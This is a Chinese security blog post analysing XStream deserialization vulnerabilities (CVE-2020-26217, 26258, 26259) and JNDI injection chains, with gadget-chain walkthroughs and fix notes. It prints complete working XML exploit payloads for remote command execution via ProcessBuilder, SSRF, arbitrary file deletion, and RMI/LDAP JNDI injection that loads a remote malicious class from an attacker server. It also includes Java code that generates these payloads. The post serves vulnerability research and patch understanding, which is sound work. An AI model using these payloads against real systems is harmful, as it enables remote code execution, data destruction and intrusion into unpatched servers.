前言 上一篇文章分析了XStream的架构以及XStream反序列化的原理,并对CVE-2013-7285 & 2019-10173进行了深入分析。这篇文章重点分析CVE-2020-*系列的漏洞,主要是对前面黑白名单的绕过以及寻找新的触发Sink。
CVE-2020-26217 影响版本 1.4.1 - 1.4.13
POC 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 <map > <entry > <jdk.nashorn.internal.objects.NativeString > <flags > 0</flags > <value class ='com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data' > <dataHandler > <dataSource class ='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource' > <contentType > text/plain</contentType > <is class ='java.io.SequenceInputStream' > <e class ='javax.swing.MultiUIDefaults$MultiUIDefaultsEnumerator' > <iterator class ='javax.imageio.spi.FilterIterator' > <iter class ='java.util.ArrayList$Itr' > <cursor > 0</cursor > <lastRet > -1</lastRet > <expectedModCount > 1</expectedModCount > <outer-class > <java.lang.ProcessBuilder > <command > <string > /bin/bash</string > <string > -c</string > <string > <![CDATA[open /System/Applications/Calculator.app]]></string > </command > </java.lang.ProcessBuilder > </outer-class > </iter > <filter class ='javax.imageio.ImageIO$ContainsFilter' > <method > <class > java.lang.ProcessBuilder</class > <name > start</name > <parameter-types /> </method > <name > start</name > </filter > <next /> </iterator > <type > KEYS</type > </e > <in class ='java.io.ByteArrayInputStream' > <buf > </buf > <pos > 0</pos > <mark > 0</mark > <count > 0</count > </in > </is > <consumed > false</consumed > </dataSource > <transferFlavors /> </dataHandler > <dataLen > 0</dataLen > </value > </jdk.nashorn.internal.objects.NativeString > <string > test</string > </entry > </map >
调试时需要关闭IDEA的debug toString
链子
1 2 3 4 5 6 7 8 9 10 11 12 13 14 MapConverter#putCurrentEntryIntoMap java.util.HashMap#put java.util.HashMap#hash jdk.nashorn.internal.objects.NativeString#hashCode jdk.nashorn.internal.objects.NativeString#getStringValue com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data#toString com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data#get com.sun.xml.internal.bind.v2.util.ByteArrayOutputStreamEx#readFrom java.io.SequenceInputStream#read java.io.SequenceInputStream#nextStream java.swingMultiUIDefaults$MultiUIDefaultsEnumerator#nextElement javax.imageio.spi.FilterIterator#next javax.imageio.spi.FilterIterator#advance javax.imageio.ImageIO$ContainsFilter#filter -> method.invoke(elt)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 filter:614, ImageIO$ContainsFilter (javax.imageio) advance:834, FilterIterator (javax.imageio.spi) next:852, FilterIterator (javax.imageio.spi) nextElement:153, MultiUIDefaults$MultiUIDefaultsEnumerator (javax.swing) nextStream:110, SequenceInputStream (java.io) read:211, SequenceInputStream (java.io) readFrom:65, ByteArrayOutputStreamEx (com.sun.xml.internal.bind.v2.util) get:182, Base64Data (com.sun.xml.internal.bind.v2.runtime.unmarshaller) toString:286, Base64Data (com.sun.xml.internal.bind.v2.runtime.unmarshaller) getStringValue:121, NativeString (jdk.nashorn.internal.objects) hashCode:117, NativeString (jdk.nashorn.internal.objects) hash:339, HashMap (java.util) put:612, HashMap (java.util) putCurrentEntryIntoMap:107, MapConverter (com.thoughtworks.xstream.converters.collections) ...
<outer-class>
标签在说这个标签之前,如果你知道this$0、this$1、this$2 ...
是啥意思的话,那这部分就可以跳过了。
this$n
是内部类对外部类的引用,外部类的引用名this$n
是从外往内递增的,对于内部类而言,只能引用最近一层的外部类。
1 2 3 4 5 6 7 8 9 package demo.testclass;public class OutClass { public class FirstInner { public class SecondInner { } } }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 package demo;import demo.testclass.OutClass;import java.lang.reflect.Field;public class Demo6 { public static void main (String[] args) throws Exception { OutClass outer = new OutClass(); OutClass.FirstInner firstInner = outer.new FirstInner () ; OutClass.FirstInner.SecondInner secondInner = firstInner.new SecondInner () ; Field this0 = firstInner.getClass().getDeclaredField("this$0" ); this0.setAccessible(true ); System.out.println(this0.get(firstInner)); Field this1 = secondInner.getClass().getDeclaredField("this$1" ); this1.setAccessible(true ); System.out.println(this1.get(secondInner)); } }
而在XStream中,对应关系如下
<outer-class> == this$0
<outer-class-n> == this$x
。n是指innerFieldNames
数组的index(外部类的index永远最大 ),this$x
就单纯的外部类名称。特别注意这里,可能会给人一种误区,一个内部类可以持有多个外部类对象,但仔细想想是不可能的呀,内部类只能嵌套在一个外部类之中,哪来的多个外部类。
所以在正常情况下,outer-class
就表示唯一的那个外部类,可能是this$0
,也可能是this$1
,具体根据外部类的层数来决定。那XStream这里为何要多搞一个<out-class-n>
呢,直接<out-class>
表示不就完事了。我觉得这里是考虑有一种情况,如果一个内部类中有名为this$n
(n为数字)的变量,那么XStream中<out-class>
标签实际获取到的是这个this$n
而不是真正的外部类对象,所以这里就会出现错误。所以我们需要<outer-class-n>
中的n来指定应该获取的外部类,具体原因在下面的代码分析中。比如将上面的OutClass
类改一下
1 2 3 4 5 6 7 public class OutClass { public class FirstInner { public class SecondInner { public String this $2 ; } } }
通过以下xml才能正确获取外部类
1 2 3 4 5 <xxx class ="demo.testclass.OutClass$FirstInner$SecondInner" > <outer-class-1 > ... </outer-class-1 > </xxx >
具体看一下XStream的解析行为。ArrayList$Itr
这个内部类没有具体的Converter,所以分配的是优先级最低的ReflectionConverter
在ReflectionConverter#unmarshal
中调用instantiateNewInstance
默认实例化ArrayList$Itr
后,可以看见其成员变量,注意一下this$0
对应的其实就是out-class,具体再跟进一下doUnmarshal
方法
先获取标签名originalNodeName
,再调用mapper.realMember()
获取标签名所代表的真正的类名,和mapper.realClass()
获取过程类似。根据优先级关系,会先调用到OuterClassMapper#realMember()
,这里是关键。这里的解析逻辑就和上面的对应关系一样了,如果是out-class
,那么获取到的idx就默认为0,如果是out-class-n
,那么获取到的idx就为n,而通过getInnerFieldNames()
获取到的是命为this$
开头的所有属性,包括正常的属性和内部类属性,以上面为例,获取到的是innerFieldNames
是[this$2,this$1]
,但真正的外部类是this$1
获取外部类名后返回到doUnmarshal
中,调用reflectionProvider.getFieldOrNull(类, 属性类名)
来获取Field(因此要求标签名和属性名一样)。
而后根据标签是否具有class
属性来获取Field的类型(type)
获取了type之后,调用unmarshallField
来获取Field标签的值,实际还是调用对应type的Convertor来解析获取。最后调用reflectionProvider.writeField
为类设置属性,底层调用的是sun.misc.Unsafe#putXxx
方法。同时对该属性名和属性代表的类进行缓存。
至此,解析<outer-class>
标签的整个过程就结束了。对于ArrayList
这个类,是一个可迭代的对象。而ArrayList$Itr
内部类维护的就是ArrayList
的元素,也就是说,ArrayList
的迭代操作是ArrayList$Itr
来完成的,所以给Itr
设置的this$0
外部类其实就是ArrayList
,调用ArrayList#iterator()
其实就是返回内部的可迭代对象Itr
,然后用Itr#next()
来迭代ArrayList的元素
Source - HashMap#put 触发点是在java.util.HashMap#put
,XStream恢复HashMap对象时,熟悉CC6这条链的话,会知道HashMap的反序列化需要调用key的hashCode
、equals
等方法,所以这条链就是从开始的
1 2 3 java.util.HashMap#put java.util.HashMap#hash jdk.nashorn.internal.objects.NativeString#hashCode
跟进看一下NativeString#hashCode
继续跟进getStringValue
,这里调用了this.value.toString()
。这就有点PHP找POP链内味了,只不过这里是用xml在XStream中提前设置好属性,但java找链的难点就是类无数多,且方法也无数多,类之间的关系也比较复杂。这里设置的value是com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data
类
Medium - toString链 跟进Base64Data#toString
跟进this.get()
,this.dataHandler
可控,看一下这玩意设置的变量基本可以洞见这条链的大概脉络了。这里的this.data
默认就是null,所以不用多余设置。通过this.dataHandler.getDataSource().getInputStream();
获取到的是SequenceInputStream
调用baos#readFrom(is)
,跟进看一下。第一个if不成立不会进入,那么就会进入SequenceInputStream#read()
的逻辑。
SequenceInputStream
的作用是将多个输入流合并为一个流,其构造参数传入的是一个Enumeration对象,该枚举对象保存的就是多个流。所以在底层肯定会调用nextElement()
方法
具体看一下read
方法,这里需要设置in非null,所以
跟进nextStream()
,调用了可控e.nextElement()
,这里的迭代器设置为MultiUIDefaults#MultiUIDefaultsEnumerator
继续跟进MultiUIDefaults$MultiUIDefaultsEnumerator#nextElement()
。这里的type
设置为KEYS
或ELEMENTS
都可以,iterator
设置的是javax.imageio.spi.ServiceRegistry$FilterIterator
继续跟进next
方法,要求这里的next
变量不为null,所以这里起码得写一下,不写的话默认是null,写的话是new Object[0]
继续跟进advance()
,elt
变量取出来的就是我们前面outer-class
设置的ArrayList
的元素,即ProcessBuilder
Sink - ImageIO$ContainsFilter#filter 最后在Sink点处ImageIO$ContainsFilter#filter
,method
完全可控,设置为start
即可。elt
是ProcessBuilder
,然后反射触发命令执行。
如何生成链子
纯手写xml的POC
利用XStream来写。具体一点,是利用Unsafe
类和Sun14ReflectionProvider
类来写
用第二种方式方便一些。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 package genpoc;import com.sun.tools.javadoc.Start;import com.thoughtworks.xstream.XStream;import utils.Reflections;import java.io.ByteArrayInputStream;import java.lang.reflect.Field;import java.util.ArrayList;import java.util.HashMap;public class CVE_2020_26217 { public static void main (String[] args) throws Exception { String cmd = "open /System/Applications/Calculator.app" ; ProcessBuilder pb = new ProcessBuilder("/bin/bash" , "-c" , cmd); ArrayList al = new ArrayList(); al.add(pb); Object method = Reflections.getObject("java.lang.reflect.Method" ); Reflections.writeField(method, "clazz" , Class.forName("java.lang.ProcessBuilder" )); Reflections.writeField(method, "name" , "start" ); Reflections.writeField(method, "parameterTypes" , new Class[0 ]); Object cf = Reflections.getObject("javax.imageio.ImageIO$ContainsFilter" ); Reflections.writeField(cf, "method" , method); Reflections.writeField(cf, "name" , "start" ); Object fi = Reflections.getObject("javax.imageio.spi.FilterIterator" ); Reflections.writeField(fi, "iter" , al.iterator()); Reflections.writeField(fi, "filter" , cf); Reflections.writeField(fi, "next" , new Object[0 ]); Object me = Reflections.getObject("javax.swing.MultiUIDefaults$MultiUIDefaultsEnumerator" ); Reflections.writeField(me, "iterator" , fi); Reflections.writeField(me, "type" , Class.forName("javax.swing.MultiUIDefaults$MultiUIDefaultsEnumerator$Type" ).getEnumConstants()[0 ]); Object si = Reflections.getObject("java.io.SequenceInputStream" ); Reflections.writeField(si, "e" , me); Reflections.writeField(si, "in" , new ByteArrayInputStream(new byte [0 ])); Object xds = Reflections.getObject("com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource" ); Reflections.writeField(xds, "is" , si); Object dh = Reflections.getObject("javax.activation.DataHandler" ); Reflections.writeField(dh, "dataSource" , xds); Object bd = Reflections.getObject("com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data" ); Reflections.writeField(bd, "dataHandler" , dh); Reflections.writeField(bd, "data" , null ); Object ns = Reflections.getObject("jdk.nashorn.internal.objects.NativeString" ); Reflections.writeField(ns, "value" , bd); HashMap hm = new HashMap(1 ); hm.put("foo" , "foo" ); Object[] table = (Object[]) Reflections.getFieldValue(hm, "table" ); Reflections.setFieldValue(table[1 ], "key" , ns); System.out.println(new XStream().toXML(hm)); } }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 package utils;import java.lang.reflect.AccessibleObject;import java.lang.reflect.Constructor;import java.lang.reflect.Field;import java.lang.reflect.InvocationTargetException;import com.thoughtworks.xstream.converters.reflection.Sun14ReflectionProvider;import sun.misc.Unsafe;import sun.reflect.ReflectionFactory;import com.nqzero.permit.Permit;@SuppressWarnings("restriction") public class Reflections { public static Unsafe unsafe = initUnsafe(); public static Sun14ReflectionProvider reflectionProvider = new Sun14ReflectionProvider(); private static Unsafe initUnsafe () { try { Field unsafeField = Unsafe.class.getDeclaredField("theUnsafe" ); unsafeField.setAccessible(true ); return (Unsafe) unsafeField.get(null ); } catch (NoSuchFieldException | IllegalAccessException e) { return null ; } } public static Object getObject (String clsName) { try { Class cls = Class.forName(clsName); return unsafe.allocateInstance(cls); } catch (Exception e){ e.printStackTrace(); return null ; } } public static void writeField (Object obj, String fName, Object fValue) { try { Field field = reflectionProvider.getFieldOrNull(obj.getClass(), fName); reflectionProvider.writeField(obj, fName, fValue, field.getDeclaringClass()); }catch (Exception e) { e.printStackTrace(); } } public static void setAccessible (AccessibleObject member) { String versionStr = System.getProperty("java.version" ); int javaVersion = Integer.parseInt(versionStr.split("\\." )[0 ]); if (javaVersion < 12 ) { Permit.setAccessible(member); } else { member.setAccessible(true ); } } public static Field getField (final Class<?> clazz, final String fieldName) { Field field = null ; try { field = clazz.getDeclaredField(fieldName); setAccessible(field); } catch (NoSuchFieldException ex) { if (clazz.getSuperclass() != null ) field = getField(clazz.getSuperclass(), fieldName); } return field; } public static void setFieldValue (final Object obj, final String fieldName, final Object value) throws Exception { final Field field = getField(obj.getClass(), fieldName); field.set(obj, value); } public static Object getFieldValue (final Object obj, final String fieldName) throws Exception { final Field field = getField(obj.getClass(), fieldName); return field.get(obj); } public static Constructor<?> getFirstCtor(final String name) throws Exception { final Constructor<?> ctor = Class.forName(name).getDeclaredConstructors()[0 ]; setAccessible(ctor); return ctor; } public static Object newInstance (String className, Object... args) throws Exception { return getFirstCtor(className).newInstance(args); } public static <T> T createWithoutConstructor (Class<T> classToInstantiate) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException { return createWithConstructor(classToInstantiate, Object.class, new Class[0 ], new Object[0 ]); } @SuppressWarnings({"unchecked"}) public static <T> T createWithConstructor (Class<T> classToInstantiate, Class<? super T> constructorClass, Class<?>[] consArgTypes, Object[] consArgs) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException { Constructor<? super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes); setAccessible(objCons); Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons); setAccessible(sc); return (T) sc.newInstance(consArgs); } }
修复 在1.4.14中,为之前默认初始化的permissions中添加了黑名单,整个黑白名单规则是
白名单:Exception
及其子类
黑名单
EventHandler
、ProcessBuilder
、ImageIO$ContainsFilter
以javax.crypto.
开头的类
以$LazyIterator
结尾的类
也就是说,1.4.14修复了Sink点ContainsFilter
和执行命令的ProcessBuilder
,但并没有从源头杀死整个链子,因此还可以复用链子的前半部分构造其他的Sink点。且思路不局限于RCE,可以找SSRF、任意文件操作、XXE、JNDI注入等。
CVE-2020-26258 SSRF
复用了Base64Data
之前的链子,连接URLDataSource#getInputStream
来实现SSRF
影响版本 1.4.1 - 1.4.14
POC 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 <map > <entry > <jdk.nashorn.internal.objects.NativeString > <flags > 0</flags > <value class ='com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data' > <dataHandler > <dataSource class ='javax.activation.URLDataSource' > <url > http://127.0.0.1:8888</url > </dataSource > <transferFlavors /> </dataHandler > <dataLen > 0</dataLen > </value > </jdk.nashorn.internal.objects.NativeString > <string > test</string > </entry > </map >
分析 1 2 3 4 5 6 7 8 MapConverter#putCurrentEntryIntoMap java.util.HashMap#put java.util.HashMap#hash jdk.nashorn.internal.objects.NativeString#hashCode jdk.nashorn.internal.objects.NativeString#getStringValue com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data#get javax.activation.URLDataSource#getInputStream java.net.URL#openStream -> openConnection().getInputStream()
一个很常规的SSRF,跟一下URLDataSource#getInputStream()
继续跟进URL#openStream()
这里就是经典SSRF的地方了,调用openConnection().getInputStream()
,openConnection()
根据设置的URL的值来获取不同协议的连接类XxxURLConnection,然后调用getInputStream()
触发连接获取数据流。
CVE-2020-26259 任意文件删除
复用XMLMessage$XmlDataSource
之前的链子,连接ReadAllStream$FileStream#
实现任意文件删除
影响版本 1.4.1 - 1.4.14
POC 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 <map > <entry > <jdk.nashorn.internal.objects.NativeString > <flags > 0</flags > <value class ='com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data' > <dataHandler > <dataSource class ='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource' > <is class ='com.sun.xml.internal.ws.util.ReadAllStream$FileStream' > <tempFile > /Users/a861881/tmp/test</tempFile > </is > </dataSource > </dataHandler > <dataLen > 0</dataLen > </value > </jdk.nashorn.internal.objects.NativeString > <string > test</string > </entry > </map >
分析 1 2 3 4 5 6 7 MapConverter#putCurrentEntryIntoMap java.util.HashMap#put java.util.HashMap#hash jdk.nashorn.internal.objects.NativeString#hashCode jdk.nashorn.internal.objects.NativeString#getStringValue com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data#get com.sun.xml.internal.ws.util.ReadAllStream$FileStream#close -> this.tempFile.delete()
先回看一下Base64Data#get()
,在26217是在baos.readFrom
中调用的is.read()
,而这里是直接调用的is.close()
。所以Base64Data#get()
中有两个Gadgets连接点,一个是read,一个是close
继续跟进ReadAllStream$FileStream#close
,一目了然。
修复 1.4.15版本,又新增了默认的黑名单,先是把链子靠前部分NativeString
给ban了,这样可以复用的地方就没了,所以之后再挖的话就是从零开始一条新链了。而且也ban掉了以.ReadAllStream$FileStream
结尾的类。
在野CVE - JNDI注入 这里是参考的@Sm1le师傅交的链子https://mp.weixin.qq.com/s/qNNI3GIy71Z3b7TZiH49Gw
关于JNDI注入,可以参考我的另一篇文章,有具体的调试流程,便于理解后面的一些类。
RMI POC 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 <java.util.HashMap > <entry > <jdk.nashorn.internal.objects.NativeString > <flags > 0</flags > <value class ='com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data' > <dataHandler > <dataSource class ='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource' > <contentType > text/plain</contentType > <is class ='java.io.SequenceInputStream' > <e class ='com.sun.jndi.rmi.registry.BindingEnumeration' > <names > <string > rmi://IP:1099/Evil</string > </names > <ctx class ="com.sun.jndi.rmi.registry.RegistryContext" > <environment /> <registry class ="sun.rmi.registry.RegistryImpl_Stub" serialization ="custom" > <java.rmi.server.RemoteObject > <string > UnicastRef</string > <string > IP</string > <int > 1099</int > <long > 0</long > <int > 0</int > <long > 0</long > <short > 0</short > <boolean > false</boolean > </java.rmi.server.RemoteObject > </registry > <host > IP</host > <port > 1099</port > </ctx > </e > <in class ='java.io.ByteArrayInputStream' > <buf > </buf > <pos > 0</pos > <mark > 0</mark > <count > 0</count > </in > </is > <consumed > false</consumed > </dataSource > <transferFlavors /> </dataHandler > </value > </jdk.nashorn.internal.objects.NativeString > <string > test</string > </entry > </java.util.HashMap >
分析 复用的是java.io.SequenceInputStream#nextStream
之前的部分,找到com.sun.jndi.rmi.registry.BindingEnumeration
打RMI型JNDI注入。
1 2 3 4 5 6 7 8 9 10 11 MapConverter#putCurrentEntryIntoMap java.util.HashMap#put java.util.HashMap#hash jdk.nashorn.internal.objects.NativeString#hashCode jdk.nashorn.internal.objects.NativeString#getStringValue com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data#get com.sun.xml.internal.bind.v2.util.ByteArrayOutputStreamEx#readFrom java.io.SequenceInputStream#read java.io.SequenceInputStream#nextStream com.sun.jndi.rmi.registry.BindingEnumeration#nextElement com.sun.jndi.rmi.registry.BindingEnumeration#next -> RegistryContext.lookup()
跟进看一下,但这里的context是com.sun.jndi.rmi.registry.RegistryContext
,只能打rmi。然后根据这里的代码设置一下属性即可。
如何生成POC 关注一下BindingEnumeration
这个类,本身对这个类十分不熟悉,只能硬看
ctx
:RegistryContext类
names
:jndi注入的地址数组,直接设置成地址即可。
问题在于RegistryContext
对象怎么拿。如果熟悉RMI JNDI注入的话,在RMI攻击端,我们需要Registry注册中心,还需要获取恶意类的引用Reference,然后吧Reference包装在ReferenceWrapper中,之后就可以通过Registry.bind("xxx", wrapper)
来注册了。而受害端通过lookup获取注册在服s务端的恶意类从而触发。上面提到的攻击端设置的东西可以说是RegistryContext
的一部分。具体看一下该类的属性
那么问题又来了,registry
是啥,这里直接分析也不太好分析。所以这里采取的办法是反射设置相关的属性然后一步步获取到RegistryContext
,完整代码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 import com.sun.jndi.rmi.registry.RegistryContext;import com.sun.jndi.url.rmi.rmiURLContext;import com.thoughtworks.xstream.XStream;import javax.naming.InitialContext;import javax.naming.spi.ResolveResult;import java.lang.reflect.Method;import java.util.Hashtable;public class Test { public static void main (String[] args) throws Exception { InitialContext ctx = new InitialContext(); Method m = Class.forName("javax.naming.InitialContext" ).getDeclaredMethod("getURLOrDefaultInitCtx" , new Class[]{String.class}); m.setAccessible(true ); rmiURLContext rmict x = (rmiURLContext) m.invoke(ctx, new Object[]{"rmi://101.132.159.30:1099/Evil" }); Method getctx = Class.forName("com.sun.jndi.url.rmi.rmiURLContext" ).getDeclaredMethod("getRootURLContext" , new Class[]{String.class, Hashtable.class}); getctx.setAccessible(true ); ResolveResult res = (ResolveResult) getctx.invoke(rmictx, new Object[]{"rmi://101.132.159.30:1099/Evil" , new Hashtable<>()}); RegistryContext rctx = (RegistryContext) res.getResolvedObj(); System.out.println(rctx); System.out.println(new XStream().toXML(rctx)); } }
LDAP LDAP找到是com.sun.jndi.ldap.LdapBindingEnumeration
POC 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 <java.util.HashMap > <entry > <jdk.nashorn.internal.objects.NativeString > <flags > 0</flags > <value class ='com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data' > <dataHandler > <dataSource class ='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource' > <contentType > text/plain</contentType > <is class ='java.io.SequenceInputStream' > <e class ='com.sun.jndi.ldap.LdapBindingEnumeration' > <cleaned > false</cleaned > <entries > <com.sun.jndi.ldap.LdapEntry > <DN > xxx</DN > <attributes class ="javax.naming.directory.BasicAttributes" serialization ="custom" > <javax.naming.directory.BasicAttributes > <default > <ignoreCase > false</ignoreCase > </default > <int > 4</int > <javax.naming.directory.BasicAttribute serialization ="custom" > <javax.naming.directory.BasicAttribute > <default > <ordered > false</ordered > <attrID > objectClass</attrID > </default > <int > 1</int > <string > javanamingreference</string > </javax.naming.directory.BasicAttribute > </javax.naming.directory.BasicAttribute > <javax.naming.directory.BasicAttribute serialization ="custom" > <javax.naming.directory.BasicAttribute > <default > <ordered > false</ordered > <attrID > javaCodeBase</attrID > </default > <int > 1</int > <string > http://IP:7777/</string > </javax.naming.directory.BasicAttribute > </javax.naming.directory.BasicAttribute > <javax.naming.directory.BasicAttribute serialization ="custom" > <javax.naming.directory.BasicAttribute > <default > <ordered > false</ordered > <attrID > javaClassName</attrID > </default > <int > 1</int > <string > any</string > </javax.naming.directory.BasicAttribute > </javax.naming.directory.BasicAttribute > <javax.naming.directory.BasicAttribute serialization ="custom" > <javax.naming.directory.BasicAttribute > <default > <ordered > false</ordered > <attrID > javaFactory</attrID > </default > <int > 1</int > <string > Evil</string > </javax.naming.directory.BasicAttribute > </javax.naming.directory.BasicAttribute > </javax.naming.directory.BasicAttributes > </attributes > </com.sun.jndi.ldap.LdapEntry > </entries > <limit > 1</limit > <posn > 0</posn > <homeCtx > <__contextType > 0</__contextType > <port__number > 0</port__number > <handleReferrals > 0</handleReferrals > <hasLdapsScheme > false</hasLdapsScheme > <netscapeSchemaBug > false</netscapeSchemaBug > <referralHopLimit > 0</referralHopLimit > <batchSize > 0</batchSize > <deleteRDN > false</deleteRDN > <typesOnly > false</typesOnly > <derefAliases > 0</derefAliases > <addrEncodingSeparator > </addrEncodingSeparator > <connectTimeout > 0</connectTimeout > <readTimeout > 0</readTimeout > <waitForReply > false</waitForReply > <replyQueueSize > 0</replyQueueSize > <useSsl > false</useSsl > <useDefaultPortNumber > false</useDefaultPortNumber > <parentIsLdapCtx > false</parentIsLdapCtx > <hopCount > 0</hopCount > <unsolicited > false</unsolicited > <sharable > false</sharable > <enumCount > 0</enumCount > <closeRequested > false</closeRequested > </homeCtx > <more > true</more > <hasMoreCalled > true</hasMoreCalled > </e > <in class ='java.io.ByteArrayInputStream' > <buf > </buf > <pos > 0</pos > <mark > 0</mark > <count > 0</count > </in > </is > <consumed > false</consumed > </dataSource > <transferFlavors /> </dataHandler > </value > </jdk.nashorn.internal.objects.NativeString > <string > test</string > </entry > </java.util.HashMap >
分析 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 MapConverter#putCurrentEntryIntoMap java.util.HashMap#put java.util.HashMap#hash jdk.nashorn.internal.objects.NativeString#hashCode jdk.nashorn.internal.objects.NativeString#getStringValue com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data#get com.sun.xml.internal.bind.v2.util.ByteArrayOutputStreamEx#readFrom java.io.SequenceInputStream#read java.io.SequenceInputStream#nextStream com.sun.jndi.ldap.AbstractLdapNamingEnumeration#nextElement com.sun.jndi.ldap.AbstractLdapNamingEnumeration#next com.sun.jndi.ldap.AbstractLdapNamingEnumeration#nextImpl com.sun.jndi.ldap.AbstractLdapNamingEnumeration#nextAux com.sun.jndi.ldap.LdapBindingEnumeration#createItem javax.naming.spi.DirectoryManager#getObjectInstance -> Evil.getObjectInstance()
直接跟进到com.sun.jndi.ldap.AbstractLdapNamingEnumeration#next()
,注意设置hasMoreCalled
为true
继续跟进nextImpl() -> nextAux()
,设置posn
和limit
为合适的值,同时LdapEntry设置为Ldap所需的参数
继续跟进this.createItem()
,如果熟悉InitialContext().lookup()
的执行流的话,会发现这个createItem方法和LdapCtx#c_lookup
的关键部分基本一毛一样,Obj.decodeObject()
是用来获取reference
的,然后传入DirectoryManager.getObjectInstance
中最终会从codebase中获取Evil.class然后newInstance初始化后,会调用Evil
恶意工厂类的getObjectInstance
从而触发恶意代码RCE
如何生成POC 回溯一下LdapBindingEnumeration
的几个关键变量,大都是继承父类AbstractLdapNamingEnumeration
的:
entries:LdapEntry数组,设置一个即可
hasMoreCalled:设置为true
more:设置为true
limit:比posn大,设置为1即可
homeCtx:设置为任意LdapCtx即可
主要看一下LdapEntry
attributes
是一个Attributes
类,用来设置ldap的相关参数,比如javaClassName
、javaFactory
、objectClass
、javaCodeBase
等,这里如果一开始不清楚的话,建议调试一下new InitialContext().lookup("xxx")
来看一下具体的参数
注意这里javacodebase
的值,要区别ldap://xxx/Evil
,我们知道,jndi注入有动态地址转换的机制,实现这个机制依赖我们攻击端起的rmi或ldap动态地址转换服务,我们平常使用的marshalsec起的LDAPRefServer服务就是实现该功能,将我们lookup的ldap://xxx/Evil
转换为http://xxx/Evil.class
。具体的代码对应在
而我们这里并不需要动态地址转换,直接设置javacodebase和javaFactory即可构成一个完成的url,即http://xxx/Evil.class
,也就是[javacodebase][javaFactory].class
。所以我们只需要python起一个可以获取Evil.class的服务即可,不需要marshalsec起ldap服务。
最终代码生成poc的代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 package genpoc;import com.sun.org.apache.bcel.internal.generic.LADD;import com.thoughtworks.xstream.XStream;import utils.Reflections;import javax.naming.directory.BasicAttribute;import javax.naming.directory.BasicAttributes;import java.util.Arrays;import java.util.Vector;public class CVE_2020_JNDI_LDAP { public static void main (String[] args) throws Exception { String refName = "any" ; String clsName = "Evil" ; String url = "http://IP:7777/" ; BasicAttributes bas = new BasicAttributes(); bas.put("objectClass" , "javanamingreference" ); bas.put("javaClassName" , refName); bas.put("javaFactory" , clsName); bas.put("javaCodeBase" , url); Object ldapEntry = Reflections.getObject("com.sun.jndi.ldap.LdapEntry" ); Reflections.writeField(ldapEntry, "DN" , "any" ); Reflections.writeField(ldapEntry, "attributes" , bas); Object ldapCtx = Reflections.getObject("com.sun.jndi.ldap.LdapCtx" ); Object ldapBindingEnumeration = Reflections.getObject("com.sun.jndi.ldap.LdapBindingEnumeration" ); Reflections.writeField(ldapBindingEnumeration, "posn" , 0 ); Vector v = new Vector(); v.add(ldapEntry); Reflections.writeField(ldapBindingEnumeration, "entries" , v); Reflections.writeField(ldapBindingEnumeration, "hasMoreCalled" , true ); Reflections.writeField(ldapBindingEnumeration, "more" , true ); Reflections.writeField(ldapBindingEnumeration, "limit" , 1 ); Reflections.writeField(ldapBindingEnumeration, "homeCtx" , ldapCtx); System.out.println(new XStream().toXML(ldapBindingEnumeration)); } }
